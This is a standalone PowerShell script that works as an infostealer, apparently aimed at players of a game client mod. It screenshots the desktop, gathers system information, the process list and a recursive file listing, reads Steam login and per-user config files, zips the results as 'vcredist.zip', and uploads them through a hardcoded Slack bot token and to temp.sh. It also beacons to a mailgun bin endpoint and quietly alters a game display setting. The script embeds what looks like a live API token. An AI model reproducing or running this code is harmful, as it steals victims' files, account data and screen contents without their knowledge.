$t = (New-TimeSpan -Start (Get-Date "01/01/1970") -End (Get-Date)).TotalSeconds function p{ param($str) $pb = "d382528" irm -Uri "http://bin.mailgun.net/api/$pb" -Method POST -Body "t=$t&$str" | Out-Null $tkn="xoxb-9580604236096-9566949825793-qFYf7BhQeqTyeo6mYZCFNgmU" $cid="C09H2HXN48Y" curl.exe -s -X POST -H "Authorization: Bearer $tkn" -d "channel=$cid" -d "text=$t $str" "https://slack.com/api/chat.postMessage" | Out-Null } p "p=1" function fn{ $f = Select-String -Path ".\players2\config_mp.cfg" -Pattern 'seta r_displayMode "fullscreen"' -SimpleMatch [void] [Reflection.Assembly]::LoadWithPartialName("System.Drawing") [void] [Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") $bounds = [Drawing.Rectangle]::FromLTRB(-4096, -4096, 4096, 4096); $bmp = New-Object Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [Drawing.Graphics]::FromImage($bmp); $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size); $MemoryStream = New-Object System.IO.MemoryStream $bmp.Save($MemoryStream, [System.Drawing.Imaging.ImageFormat]::Png) $Bytes = $MemoryStream.ToArray() $MemoryStream.Dispose() $scr = [convert]::ToBase64String($Bytes) $graphics.Dispose(); $bmp.Dispose(); $info = "$([System.Environment]::OSVersion) `n`n $((Get-WmiObject Win32_VideoController).Name) `n`n " + ( (dir -r | % { if ($_.PsIsContainer) { $_.FullName + "\" } else { $_.FullName + " " + $_.Length } }) -join "`r`n") + " `n`n $(systeminfo) `n`n " + ( wmic process ) if ($f -ne $null){ $info = "FS Detected `n`n$info" } $Bytes = [System.Text.Encoding]::Unicode.GetBytes($info) $info = [convert]::ToBase64String($Bytes) $acc = Get-Content ((Get-CimInstance Win32_Process -Filter "Name='steam.exe'").ExecutablePath + "\..\config\loginusers.vdf") $Bytes = [System.Text.Encoding]::Unicode.GetBytes($acc) $acc = [convert]::ToBase64String($Bytes) $d = Get-ChildItem -Path ((Get-CimInstance Win32_Process -Filter "Name='steam.exe'").ExecutablePath + "\..\userdata\*") -Directory $contentArray = @() foreach ($dir in $d) { $filePath = Join-Path -Path $dir.FullName -ChildPath "config\localconfig.vdf" if (Test-Path -Path $filePath) { $content = Get-Content -Path $filePath $contentArray += "---- $($filePath) `n" $contentArray += $content } } $cfg = $contentArray -join "`n" $Bytes = [System.Text.Encoding]::Unicode.GetBytes($cfg) $cfg = [convert]::ToBase64String($Bytes) $str = "$info;$acc;$scr;$cfg" $tmp = [System.Environment]::GetEnvironmentVariable('TEMP','User') $str | Out-File -FilePath "$tmp\$t.txt" Compress-Archive -Force -Path "$tmp\$t.txt" -DestinationPath "$tmp\vcredist.zip" rm "$tmp\$t.txt" $tkn="xoxb-9580604236096-9566949825793-qFYf7BhQeqTyeo6mYZCFNgmU" $cid="C09G4C0KYKV" $size=(Get-ChildItem "$tmp\vcredist.zip").Length $ures=(curl.exe -s -X POST -d "filename=$t.zip" -d "length=$size" -d "channels=$cid" -H "Authorization: Bearer $tkn" "https://slack.com/api/files.getUploadURLExternal") p "p=1 res=$ures" $j = (echo "$ures" | ConvertFrom-Json) $url = $j.upload_url $fileid = $j.file_id $ures=(curl.exe -s "$url" --data-binary "@$tmp\vcredist.zip") p "p=2 res=$ures" $ures=(curl.exe -s -F "files=[{'id':'$fileid'}]" -F "channel_id=$cid" -H "Authorization: Bearer $tkn" "https://slack.com/api/files.completeUploadExternal") p "p=3 res=$ures" $ures=(curl.exe -F "file=@$tmp\vcredist.zip" https://temp.sh/upload) p "p=4 res=$ures" rm "$tmp\vcredist.zip" if ($f -ne $null){ (Get-Content ".\players2\config_mp.cfg").Replace('seta r_displayMode "fullscreen"', 'seta r_displayMode "windowed (no border)"') | Set-Content ".\players2\config_mp.cfg" } } fn $err = $Error | Out-String if ($err.Length -gt 0){ p "err32=$err" $co = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($err)) p "err64=$co" }